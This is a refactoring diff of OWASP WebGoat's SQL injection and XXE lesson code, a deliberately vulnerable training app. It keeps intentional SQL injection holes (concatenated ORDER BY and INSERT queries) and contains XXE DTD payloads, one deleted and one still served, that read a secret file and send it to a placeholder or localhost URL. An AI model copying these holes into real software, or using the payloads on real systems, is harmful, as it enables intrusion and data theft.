|||||||
|
|
||||||
package org.owasp.webgoat.sql_injection.introduction;
|
package org.owasp.webgoat.sql_injection.introduction;
|
||||||
|
|
||||||
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
@ -62,8 +61,8 @@ public class SqlInjectionLesson5b extends AssignmentEndpoint {
|
|||||||
try {
|
try {
|
||||||
count = Integer.parseInt(login_count);
|
count = Integer.parseInt(login_count);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
return trackProgress(failed().output("Could not parse: " + login_count + " to a number" +
|
return trackProgress(failed().output("Could not parse: " + login_count + " to a number"
|
||||||
"<br> Your query was: " + queryString.replace("?", login_count)).build());
|
+ "<br> Your query was: " + queryString.replace("?", login_count)).build());
|
||||||
}
|
}
|
||||||
|
|
||||||
query.setInt(1, count);
|
query.setInt(1, count);
|
||||||
@ -87,8 +86,6 @@ public class SqlInjectionLesson5b extends AssignmentEndpoint {
|
|||||||
|
|
||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().feedback("sql-injection.5b.no.results").output("Your query was: " + queryString.replace("?", login_count)).build());
|
return trackProgress(failed().feedback("sql-injection.5b.no.results").output("Your query was: " + queryString.replace("?", login_count)).build());
|
||||||
|
|
||||||
// output.append(getLabelManager().get("NoResultsMatched"));
|
|
||||||
}
|
}
|
||||||
} catch (SQLException sqle) {
|
} catch (SQLException sqle) {
|
||||||
|
|
||||||
|
@ -130,11 +130,11 @@ public class SqlInjectionLesson8 extends AssignmentEndpoint {
|
|||||||
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||||
String time = sdf.format(cal.getTime());
|
String time = sdf.format(cal.getTime());
|
||||||
|
|
||||||
String log_query = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
|
String logQuery = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
|
Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
|
||||||
statement.executeUpdate(log_query);
|
statement.executeUpdate(logQuery);
|
||||||
} catch (SQLException e) {
|
} catch (SQLException e) {
|
||||||
System.err.println(e.getMessage());
|
System.err.println(e.getMessage());
|
||||||
}
|
}
|
||||||
|
@ -22,10 +22,10 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.sql_injection.mitigation;
|
package org.owasp.webgoat.sql_injection.mitigation;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
@ -33,6 +33,8 @@ import javax.sql.DataSource;
|
|||||||
import java.sql.Connection;
|
import java.sql.Connection;
|
||||||
import java.sql.PreparedStatement;
|
import java.sql.PreparedStatement;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -41,6 +43,7 @@ import java.util.List;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("SqlInjectionMitigations/servers")
|
@RequestMapping("SqlInjectionMitigations/servers")
|
||||||
|
@Slf4j
|
||||||
public class Servers {
|
public class Servers {
|
||||||
|
|
||||||
private final DataSource dataSource;
|
private final DataSource dataSource;
|
||||||
@ -62,16 +65,19 @@ public class Servers {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
|
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
@SneakyThrows
|
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public List<Server> sort(@RequestParam String column) {
|
public List<Server> sort(@RequestParam String column) {
|
||||||
Connection connection = dataSource.getConnection();
|
List<Server> servers = new ArrayList<>();
|
||||||
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column);
|
|
||||||
ResultSet rs = preparedStatement.executeQuery();
|
try (Connection connection = dataSource.getConnection();
|
||||||
List<Server> servers = Lists.newArrayList();
|
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column)) {
|
||||||
while (rs.next()) {
|
ResultSet rs = preparedStatement.executeQuery();
|
||||||
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
|
while (rs.next()) {
|
||||||
servers.add(server);
|
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
|
||||||
|
servers.add(server);
|
||||||
|
}
|
||||||
|
} catch (SQLException e) {
|
||||||
|
log.error("Unable to get servers", e);
|
||||||
}
|
}
|
||||||
return servers;
|
return servers;
|
||||||
}
|
}
|
||||||
|
@ -49,21 +49,21 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
|||||||
|
|
||||||
editor = editor.replaceAll("\\<.*?>", "");
|
editor = editor.replaceAll("\\<.*?>", "");
|
||||||
|
|
||||||
String regex_setsUpConnection = "(?=.*getConnection.*)";
|
String regexSetsUpConnection = "(?=.*getConnection.*)";
|
||||||
String regex_usesPreparedStatement = "(?=.*PreparedStatement.*)";
|
String regexUsesPreparedStatement = "(?=.*PreparedStatement.*)";
|
||||||
String regex_usesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)";
|
String regexUsesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)";
|
||||||
String regex_usesSetString = "(?=.*setString.*)";
|
String regexUsesSetString = "(?=.*setString.*)";
|
||||||
String regex_usesExecute = "(?=.*execute.*)";
|
String regexUsesExecute = "(?=.*execute.*)";
|
||||||
String regex_usesExecuteUpdate = "(?=.*executeUpdate.*)";
|
String regexUsesExecuteUpdate = "(?=.*executeUpdate.*)";
|
||||||
|
|
||||||
String codeline = editor.replace("\n", "").replace("\r", "");
|
String codeline = editor.replace("\n", "").replace("\r", "");
|
||||||
|
|
||||||
boolean setsUpConnection = this.check_text(regex_setsUpConnection, codeline);
|
boolean setsUpConnection = this.check_text(regexSetsUpConnection, codeline);
|
||||||
boolean usesPreparedStatement = this.check_text(regex_usesPreparedStatement, codeline);
|
boolean usesPreparedStatement = this.check_text(regexUsesPreparedStatement, codeline);
|
||||||
boolean usesSetString = this.check_text(regex_usesSetString, codeline);
|
boolean usesSetString = this.check_text(regexUsesSetString, codeline);
|
||||||
boolean usesPlaceholder = this.check_text(regex_usesPlaceholder, codeline);
|
boolean usesPlaceholder = this.check_text(regexUsesPlaceholder, codeline);
|
||||||
boolean usesExecute = this.check_text(regex_usesExecute, codeline);
|
boolean usesExecute = this.check_text(regexUsesExecute, codeline);
|
||||||
boolean usesExecuteUpdate = this.check_text(regex_usesExecuteUpdate, codeline);
|
boolean usesExecuteUpdate = this.check_text(regexUsesExecuteUpdate, codeline);
|
||||||
|
|
||||||
boolean hasImportant = (setsUpConnection && usesPreparedStatement && usesPlaceholder && usesSetString && (usesExecute || usesExecuteUpdate));
|
boolean hasImportant = (setsUpConnection && usesPreparedStatement && usesPlaceholder && usesSetString && (usesExecute || usesExecuteUpdate));
|
||||||
List<Diagnostic> hasCompiled = this.compileFromString(editor);
|
List<Diagnostic> hasCompiled = this.compileFromString(editor);
|
||||||
@ -79,7 +79,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
|||||||
} else {
|
} else {
|
||||||
return trackProgress(failed().feedback("sql-injection.10b.failed").build());
|
return trackProgress(failed().feedback("sql-injection.10b.failed").build());
|
||||||
}
|
}
|
||||||
} catch(Exception e) {
|
} catch (Exception e) {
|
||||||
return trackProgress(failed().output(e.getMessage()).build());
|
return trackProgress(failed().output(e.getMessage()).build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -87,7 +87,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
|||||||
private List<Diagnostic> compileFromString(String s) {
|
private List<Diagnostic> compileFromString(String s) {
|
||||||
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
|
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
|
||||||
DiagnosticCollector diagnosticsCollector = new DiagnosticCollector();
|
DiagnosticCollector diagnosticsCollector = new DiagnosticCollector();
|
||||||
StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticsCollector, null, null);
|
StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticsCollector, null, null);
|
||||||
JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s);
|
JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s);
|
||||||
Iterable fileObjects = Arrays.asList(javaObjectFromString);
|
Iterable fileObjects = Arrays.asList(javaObjectFromString);
|
||||||
JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects);
|
JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects);
|
||||||
@ -96,12 +96,12 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
|||||||
return diagnostics;
|
return diagnostics;
|
||||||
}
|
}
|
||||||
|
|
||||||
private SimpleJavaFileObject getJavaFileContentsAsString(String s){
|
private SimpleJavaFileObject getJavaFileContentsAsString(String s) {
|
||||||
StringBuilder javaFileContents = new StringBuilder("import java.sql.*; public class TestClass { static String DBUSER; static String DBPW; static String DBURL; public static void main(String[] args) {" + s + "}}");
|
StringBuilder javaFileContents = new StringBuilder("import java.sql.*; public class TestClass { static String DBUSER; static String DBPW; static String DBURL; public static void main(String[] args) {" + s + "}}");
|
||||||
JavaObjectFromString javaFileObject = null;
|
JavaObjectFromString javaFileObject = null;
|
||||||
try{
|
try {
|
||||||
javaFileObject = new JavaObjectFromString("TestClass.java", javaFileContents.toString());
|
javaFileObject = new JavaObjectFromString("TestClass.java", javaFileContents.toString());
|
||||||
}catch(Exception exception){
|
} catch (Exception exception) {
|
||||||
exception.printStackTrace();
|
exception.printStackTrace();
|
||||||
}
|
}
|
||||||
return javaFileObject;
|
return javaFileObject;
|
||||||
@ -109,10 +109,12 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
|||||||
|
|
||||||
class JavaObjectFromString extends SimpleJavaFileObject {
|
class JavaObjectFromString extends SimpleJavaFileObject {
|
||||||
private String contents = null;
|
private String contents = null;
|
||||||
public JavaObjectFromString(String className, String contents) throws Exception{
|
|
||||||
|
public JavaObjectFromString(String className, String contents) throws Exception {
|
||||||
super(new URI(className), Kind.SOURCE);
|
super(new URI(className), Kind.SOURCE);
|
||||||
this.contents = contents;
|
this.contents = contents;
|
||||||
}
|
}
|
||||||
|
|
||||||
public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {
|
public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {
|
||||||
return contents;
|
return contents;
|
||||||
}
|
}
|
||||||
@ -121,7 +123,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
|||||||
private boolean check_text(String regex, String text) {
|
private boolean check_text(String regex, String text) {
|
||||||
Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE);
|
Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE);
|
||||||
Matcher m = p.matcher(text);
|
Matcher m = p.matcher(text);
|
||||||
if(m.find())
|
if (m.find())
|
||||||
return true;
|
return true;
|
||||||
else return false;
|
else return false;
|
||||||
}
|
}
|
||||||
|
@ -36,6 +36,7 @@ import javax.sql.DataSource;
|
|||||||
import java.sql.Connection;
|
import java.sql.Connection;
|
||||||
import java.sql.PreparedStatement;
|
import java.sql.PreparedStatement;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-12a-1", "SqlStringInjectionHint-mitigation-12a-2", "SqlStringInjectionHint-mitigation-12a-3", "SqlStringInjectionHint-mitigation-12a-4"})
|
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-12a-1", "SqlStringInjectionHint-mitigation-12a-2", "SqlStringInjectionHint-mitigation-12a-3", "SqlStringInjectionHint-mitigation-12a-4"})
|
||||||
@ -50,10 +51,9 @@ public class SqlInjectionLesson12a extends AssignmentEndpoint {
|
|||||||
|
|
||||||
@PostMapping("/SqlInjectionMitigations/attack12a")
|
@PostMapping("/SqlInjectionMitigations/attack12a")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
@SneakyThrows
|
|
||||||
public AttackResult completed(@RequestParam String ip) {
|
public AttackResult completed(@RequestParam String ip) {
|
||||||
try (Connection connection = dataSource.getConnection()) {
|
try (Connection connection = dataSource.getConnection();
|
||||||
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?");
|
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?")) {
|
||||||
preparedStatement.setString(1, ip);
|
preparedStatement.setString(1, ip);
|
||||||
preparedStatement.setString(2, "webgoat-prd");
|
preparedStatement.setString(2, "webgoat-prd");
|
||||||
ResultSet resultSet = preparedStatement.executeQuery();
|
ResultSet resultSet = preparedStatement.executeQuery();
|
||||||
@ -61,6 +61,9 @@ public class SqlInjectionLesson12a extends AssignmentEndpoint {
|
|||||||
return trackProgress(success().build());
|
return trackProgress(success().build());
|
||||||
}
|
}
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
|
} catch (SQLException e) {
|
||||||
|
log.error("Failed", e);
|
||||||
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -1,19 +1,22 @@
|
|||||||
package org.owasp.webgoat.xxe;
|
package org.owasp.webgoat.xxe;
|
||||||
|
|
||||||
import com.google.common.base.Charsets;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import com.google.common.io.Files;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.http.MediaType;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import javax.annotation.PostConstruct;
|
import javax.annotation.PostConstruct;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
|
||||||
import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
||||||
|
|
||||||
@ -46,8 +49,9 @@ import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
|||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
* @since November 18, 2016
|
* @since November 18, 2016
|
||||||
*/
|
*/
|
||||||
|
@Slf4j
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"})
|
@AssignmentHints({"xxe.blind.hints.1", "xxe.blind.hints.2", "xxe.blind.hints.3", "xxe.blind.hints.4", "xxe.blind.hints.5"})
|
||||||
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
|
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
|
||||||
@ -57,13 +61,16 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
|||||||
private Comments comments;
|
private Comments comments;
|
||||||
|
|
||||||
@PostConstruct
|
@PostConstruct
|
||||||
@SneakyThrows
|
|
||||||
public void createSecretFileWithRandomContents() {
|
public void createSecretFileWithRandomContents() {
|
||||||
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
|
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
|
||||||
if (!targetDirectory.exists()) {
|
if (!targetDirectory.exists()) {
|
||||||
targetDirectory.mkdir();
|
targetDirectory.mkdir();
|
||||||
}
|
}
|
||||||
Files.write(CONTENTS, new File(targetDirectory, "secret.txt"), Charsets.UTF_8);
|
try {
|
||||||
|
Files.writeString(new File(targetDirectory, "secret.txt").toPath(), CONTENTS, StandardCharsets.UTF_8);
|
||||||
|
} catch (IOException e) {
|
||||||
|
log.error("Unable to write 'secret.txt' to '{}", targetDirectory);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@PostMapping(path = "xxe/blind", consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
@PostMapping(path = "xxe/blind", consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
@ -82,46 +89,4 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
<?xml version="1.0"?>
|
|
||||||
<!DOCTYPE comment [
|
|
||||||
<!ENTITY % remote SYSTEM "http://localhost:9090/files/admin2/attack.dtd">
|
|
||||||
%remote;
|
|
||||||
]>
|
|
||||||
<comment> <text>test&send;</text></comment>
|
|
||||||
**/
|
|
||||||
/**
|
|
||||||
* Solution:
|
|
||||||
*
|
|
||||||
* Create DTD:
|
|
||||||
*
|
|
||||||
* <pre>
|
|
||||||
* <?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
|
||||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/ping?text=%file;'>">
|
|
||||||
* %all;
|
|
||||||
* </pre>
|
|
||||||
*
|
|
||||||
* This will be reduced to:
|
|
||||||
*
|
|
||||||
* <pre>
|
|
||||||
* <!ENTITY send SYSTEM 'http://localhost:9090/ping?text=[contents_file]'>
|
|
||||||
* </pre>
|
|
||||||
*
|
|
||||||
* Wire it all up in the xml send to the server:
|
|
||||||
*
|
|
||||||
* <pre>
|
|
||||||
* <?xml version="1.0"?>
|
|
||||||
* <!DOCTYPE root [
|
|
||||||
* <!ENTITY % remote SYSTEM "http://localhost:9090/WebWolf/files/test.dtd">
|
|
||||||
* %remote;
|
|
||||||
* ]>
|
|
||||||
* <user>
|
|
||||||
* <username>test&send;</username>
|
|
||||||
* </user>
|
|
||||||
*
|
|
||||||
* </pre>
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
}
|
}
|
||||||
|
@ -24,8 +24,6 @@ package org.owasp.webgoat.xxe;
|
|||||||
|
|
||||||
import com.beust.jcommander.internal.Lists;
|
import com.beust.jcommander.internal.Lists;
|
||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
import com.google.common.collect.EvictingQueue;
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import org.joda.time.DateTime;
|
import org.joda.time.DateTime;
|
||||||
import org.joda.time.format.DateTimeFormat;
|
import org.joda.time.format.DateTimeFormat;
|
||||||
import org.joda.time.format.DateTimeFormatter;
|
import org.joda.time.format.DateTimeFormatter;
|
||||||
@ -40,10 +38,7 @@ import javax.xml.stream.XMLInputFactory;
|
|||||||
import javax.xml.stream.XMLStreamReader;
|
import javax.xml.stream.XMLStreamReader;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.StringReader;
|
import java.io.StringReader;
|
||||||
import java.util.Collection;
|
import java.util.*;
|
||||||
import java.util.Comparator;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Optional;
|
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
import static java.util.Optional.empty;
|
import static java.util.Optional.empty;
|
||||||
@ -62,8 +57,8 @@ public class Comments {
|
|||||||
|
|
||||||
protected static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
|
protected static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
|
||||||
|
|
||||||
private static final Map<String, EvictingQueue<Comment>> userComments = Maps.newHashMap();
|
private static final Map<String, List<Comment>> userComments = new HashMap<>();
|
||||||
private static final EvictingQueue<Comment> comments = EvictingQueue.create(100);
|
private static final List<Comment> comments = new ArrayList<>();
|
||||||
|
|
||||||
static {
|
static {
|
||||||
comments.add(new Comment("webgoat", DateTime.now().toString(fmt), "Silly cat...."));
|
comments.add(new Comment("webgoat", DateTime.now().toString(fmt), "Silly cat...."));
|
||||||
@ -110,7 +105,7 @@ public class Comments {
|
|||||||
if (visibleForAllUsers) {
|
if (visibleForAllUsers) {
|
||||||
comments.add(comment);
|
comments.add(comment);
|
||||||
} else {
|
} else {
|
||||||
EvictingQueue<Comment> comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
|
List<Comment> comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>());
|
||||||
comments.add(comment);
|
comments.add(comment);
|
||||||
userComments.put(webSession.getUserName(), comments);
|
userComments.put(webSession.getUserName(), comments);
|
||||||
}
|
}
|
||||||
|
@ -38,8 +38,8 @@ import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
|||||||
@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"})
|
@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"})
|
||||||
public class ContentTypeAssignment extends AssignmentEndpoint {
|
public class ContentTypeAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
||||||
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
||||||
|
|
||||||
@Value("${webgoat.server.directory}")
|
@Value("${webgoat.server.directory}")
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
|
@ -33,18 +33,13 @@ import java.io.FileNotFoundException;
|
|||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
|
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class Ping {
|
public class Ping {
|
||||||
|
|
||||||
@Value("${webgoat.user.directory}")
|
@Value("${webgoat.user.directory}")
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
@Autowired
|
@Autowired
|
||||||
private WebSession webSession;
|
private WebSession webSession;
|
||||||
|
|
||||||
// @Override
|
|
||||||
// public String getPath() {
|
|
||||||
// return "XXE/ping";
|
|
||||||
// }
|
|
||||||
|
|
||||||
@RequestMapping(method = RequestMethod.GET)
|
@RequestMapping(method = RequestMethod.GET)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {
|
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {
|
||||||
|
@ -48,16 +48,16 @@ import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
|||||||
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"})
|
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"})
|
||||||
public class SimpleXXE extends AssignmentEndpoint {
|
public class SimpleXXE extends AssignmentEndpoint {
|
||||||
|
|
||||||
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
||||||
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
||||||
|
|
||||||
@Value("${webgoat.server.directory}")
|
@Value("${webgoat.server.directory}")
|
||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
|
|
||||||
@Value("${webwolf.url.landingpage}")
|
@Value("${webwolf.url.landingpage}")
|
||||||
private String webWolfURL;
|
private String webWolfURL;
|
||||||
|
|
||||||
|
|
||||||
@Autowired
|
@Autowired
|
||||||
private Comments comments;
|
private Comments comments;
|
||||||
|
|
||||||
@ -85,20 +85,20 @@ public class SimpleXXE extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
return success;
|
return success;
|
||||||
}
|
}
|
||||||
|
|
||||||
@RequestMapping(path="/xxe/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
|
@RequestMapping(path = "/xxe/tmpdir", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public String getWebGoatHomeDirectory() {
|
public String getWebGoatHomeDirectory() {
|
||||||
return webGoatHomeDirectory;
|
return webGoatHomeDirectory;
|
||||||
}
|
}
|
||||||
|
|
||||||
@RequestMapping(path="/xxe/sampledtd",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
|
@RequestMapping(path = "/xxe/sampledtd", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public String getSampleDTDFile() {
|
public String getSampleDTDFile() {
|
||||||
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
|
||||||
"<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n" +
|
+ "<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n"
|
||||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n" +
|
+ "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n"
|
||||||
"%all;";
|
+ "%all;";
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -22,6 +22,7 @@
|
|||||||
* projects.
|
* projects.
|
||||||
* <p>
|
* <p>
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
@ -22,11 +22,8 @@
|
|||||||
|
|
||||||
package org.owasp.webwolf;
|
package org.owasp.webwolf;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import com.google.common.io.Files;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.apache.commons.io.FileUtils;
|
import org.apache.commons.io.FileUtils;
|
||||||
import org.owasp.webwolf.user.WebGoatUser;
|
import org.owasp.webwolf.user.WebGoatUser;
|
||||||
@ -35,22 +32,19 @@ import org.springframework.http.MediaType;
|
|||||||
import org.springframework.security.core.context.SecurityContextHolder;
|
import org.springframework.security.core.context.SecurityContextHolder;
|
||||||
import org.springframework.stereotype.Controller;
